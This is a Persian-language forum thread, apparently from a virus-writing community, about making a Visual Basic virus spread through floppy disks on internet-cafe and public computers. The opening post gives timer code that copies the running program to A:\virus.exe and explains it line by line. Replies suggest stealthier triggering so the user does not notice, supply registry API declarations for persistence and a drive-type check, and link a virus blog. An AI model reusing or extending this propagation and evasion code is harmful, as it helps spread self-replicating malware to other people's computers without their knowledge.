منتشر شدن از راه فلاپی

[ΛΛ Θ l-l $ Σ Ω]

کی از راه های قدیمی ولی پرکاربرد ویروس ها برای منتشر شدن،فلاپی است.اگر ویروستان به کافی نت یا دیگر کامپیوتر های عمومی راه یافت و این قابلیت را داشت،می تواند به راحتی منتشر شود.کدهای زیر را در یک timer کپی کنید:






On Error GoTo h

Set fso = CreateObject("Scripting.FileSystemObject")

mf = App.Path & "\" & App.EXEName & ".exe"

If Dir("A:\" & "virus.exe") = "" Then

FileCopy mf, "A:\" & "virus.exe"

End If

h:



توضیح کدها:در خط اول می گوید که اگر برنامه error پیدا کرد،آن را به خط آخر منتقل کند.خط دوم هم که می دانید.در خط سوم،ویروس مسیر فایل خودش را می گیرد که برای کپی کردن خودش درون فلاپی نیاز است.در خط چهارم می گوید که اگر در فلاپی فایلی به نام virus.exe وجود ندارد،خودش را با نام virus.exe در فلاپی کپی کند.

[HoseinVig]

اینجوری که همیشه چراغ فلاپی روشن خواهد موند و صداهای ناجور هم میده و کاربر هم متوجه میشه
بهترین کار اینه که کپشن همه پنجره ها رو چک کنه که اگر A:\ یا b:\ بود(یعنی اگر فلاپی باز باشه) اونموقه فایل رو کپی کنه

[wolf-sky]

خوب منم روی همین کار میکنم اگه مایلید با هم همکاری کنیم -- من تا به حال تونستم متن بالای پنجره ها رو تشخیص بدم و حتی تونسم آدرس او نا رو بگیرم و فقط الان یک مشکل دارم بتونم یک مسیر رو در ریجستری ثبت کنم اگه می تونید کار ما تمومه

[far_222000]

برای ثبت یک کلید در رجیستری، می تونی از API ها استفاده کنی
این هم API:
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegCloseKey Lib "advapi32.dll" Alias "RegCloseKey" (ByVal hKey As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

[m_vb66]

اینجوری که همیشه چراغ فلاپی روشن خواهد موند و صداهای ناجور هم میده و کاربر هم متوجه میشه
بهترین کار اینه که کپشن همه پنجره ها رو چک کنه که اگر A:\ یا b:\ بود(یعنی اگر فلاپی باز باشه) اونموقه فایل رو کپی کنه

به نظر من با توجه به اینکه این سورس بالا مربوط به بیسیکه از

کد:

Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

استفاده بشه بهتره

[mahyar 69]

http://iranianvirus.blogfa.com/post-16.aspx

[HoseinVig]

این لینک که دادی یعنی چی؟
این کد که عیناً همون بالاییست